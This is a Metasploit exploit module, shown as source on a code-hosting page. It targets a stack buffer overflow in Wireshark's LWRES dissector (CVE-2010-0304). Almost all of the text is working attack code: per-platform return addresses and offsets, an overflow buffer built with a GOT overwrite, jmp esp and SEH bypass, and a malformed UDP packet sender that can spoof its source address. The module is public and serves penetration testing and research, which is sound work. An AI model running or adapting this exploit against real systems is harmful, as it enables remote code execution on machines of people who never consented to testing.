CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
16
'Description' => %q{
17
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
18
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
19
overflow. This bug found and reported by babi.
20
21
This particular exploit targets the dissect_getaddrsbyname_request function. Several
22
other functions also contain potentially exploitable stack-based buffer overflows.
23
24
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
25
exploitation via the return address on the stack. Sending a larger string allows
26
exploitation using the SEH bypass method. However, this packet will usually get
27
fragmented, which may cause additional complications.
28
29
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
30
If the packet is fragmented, all fragments must be captured and reassembled to
31
exploit this issue.
32
},
33
'Author' =>
34
[
35
'babi', # original discovery/exploit
36
'jduck', # ported from public exploit
37
'redsand' # windows target/testing
38
],
39
'License' => MSF_LICENSE,
40
'References' =>
41
[
42
[ 'CVE', '2010-0304' ],
43
[ 'OSVDB', '61987' ],
44
[ 'BID', '37985' ],
45
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
46
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
47
],
48
'DefaultOptions' =>
49
{
50
'EXITFUNC' => 'process',
51
},
52
'Privileged' => true, # at least capture privilege
53
'Payload' =>
54
{
55
'Space' => 512,
56
'BadChars' => "\x00",
57
'DisableNops' => true,
58
},
59
'Platform' => %w{ linux osx win },
60
'Targets' =>
61
[
62
[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
63
# breakpoint: lwres.so + 0x2ce2
64
{
65
'Arch' => ARCH_X86,
66
'Platform' => 'linux',
67
# conveniently, edx pointed at our string..
68
# and so, we write it to g_slist_append's GOT entry just before its called.
69
# pwnt.
70
#
71
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
72
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
73
#
74
'Ret' => 0x804fc85, # see above..
75
'RetOff' => 376,
76
'Readable' => 0x804fa04, # just anything
77
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
78
}
79
],
80
[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
81
{
82
'Arch' => ARCH_X86,
83
'Platform' => 'linux',
84
# the method for tshark doesn't work, since there aren't any convenient
85
# pointers lying around (in reg/close on stack)
86
#
87
# since the wireshark bin has a jmp esp, we'll just use that method..
88
'Ret' => 0x818fce8, # jmp esp in wireshark bin
89
'RetOff' => 376,
90
'Readable' => 0x8066a40, # just any old readable addr (unused)
91
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
92
}
93
],
94
95
[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
96
{
97
'Arch' => ARCH_X64,
98
'Platform' => 'linux',
99
'Ret' => 0xfeedfed5deadbeef,
100
'RetOff' => 152,
101
}
102
],
103
104
[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
105
{
106
'Arch' => ARCH_X86,
107
'Platform' => 'osx',
108
'Ret' => 0xdeadbeef,
109
'RetOff' => 268,
110
}
111
],
112
113
# The following target was tested against Windows XP SP3 and Windows Vista
114
[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
115
{
116
'Arch' => ARCH_X86,
117
'Platform' => 'win',
118
# NOTE: due to the length of this packet, your mileage may vary.
119
'Ret' => 0x61B4121B,
120
# 0x655810b6 = pop/pop/ret in libpango
121
# 0x02A110B6 = pop/pop/ret in libgtk-w
122
# 0x03D710CC = pop/mov/pop/ret in packet
123
# 0x61B4121B = pop/pop/ret in pcre3
124
'RetOff' => 2128,
125
}
126
],
127
],
128
'DisclosureDate' => '2010-01-27'))
129
130
register_options([
131
Opt::RPORT(921),
132
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
133
])
134
135
deregister_options('FILTER','PCAPFILE')
136
end
137
138
def exploit
139
check_pcaprub_loaded # Check first
140
141
ret_offset = target['RetOff']
142
143
# we have different techniques depending on the target
144
if (target == targets[0])
145
# debian tshark
146
str = make_nops(ret_offset - payload.encoded.length - 16)
147
str << payload.encoded
148
str << [target['GotAddr'] - 0xc].pack('V')
149
str << rand_text(4)
150
str << [target['Readable']].pack('V')
151
str << rand_text(4)
152
# ret is next
153
elsif (target == targets[1])
154
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
155
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
156
str << fix_esp
157
str << payload.encoded
158
# jmp esp...
159
str << [target.ret].pack('V')
160
# jump back
161
distance = ret_offset + 4
162
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
163
elsif (target == targets[2])
164
str = Rex::Text.pattern_create(ret_offset - 8)
165
str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)
166
elsif (target == targets[4])
167
# ugh, /GS and UDP length issues :-/
168
str = make_nops(ret_offset - payload.encoded.length)
169
str << payload.encoded
170
str << generate_seh_record(target.ret)
171
# jump back
172
distance = ret_offset + 8
173
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
174
else
175
# this is just a simple DoS payload
176
str = Rex::Text.pattern_create(ret_offset)
177
#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
178
end
179
180
# add return address
181
str << Rex::Arch.pack_addr(target.arch, target.ret)
182
183
# form the packet's payload!
184
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
185
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
186
sploit << "\x00\x00\x00\x01"
187
sploit << [str.length].pack('n')
188
sploit << str
189
sploit << "\x00\x00"
190
191
shost = datastore['SHOST']
192
if (shost)
193
print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
194
open_pcap
195
196
p = PacketFu::UDPPacket.new
197
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
198
p.ip_daddr = rhost
199
p.udp_sport = rand((2**16)-1024)+1024
200
p.udp_dport = datastore['RPORT'].to_i
201
p.payload = sploit
202
p.recalc
203
204
sent = capture_sendto(p, rhost)
205
close_pcap
206
207
handler if sent
208
else
209
print_status("Sending malformed LWRES packet to #{rhost}")
210
connect_udp
211
udp_sock.put(sploit)
212
213
handler
214
disconnect_udp
215
end
216
217
end
218
end
219
220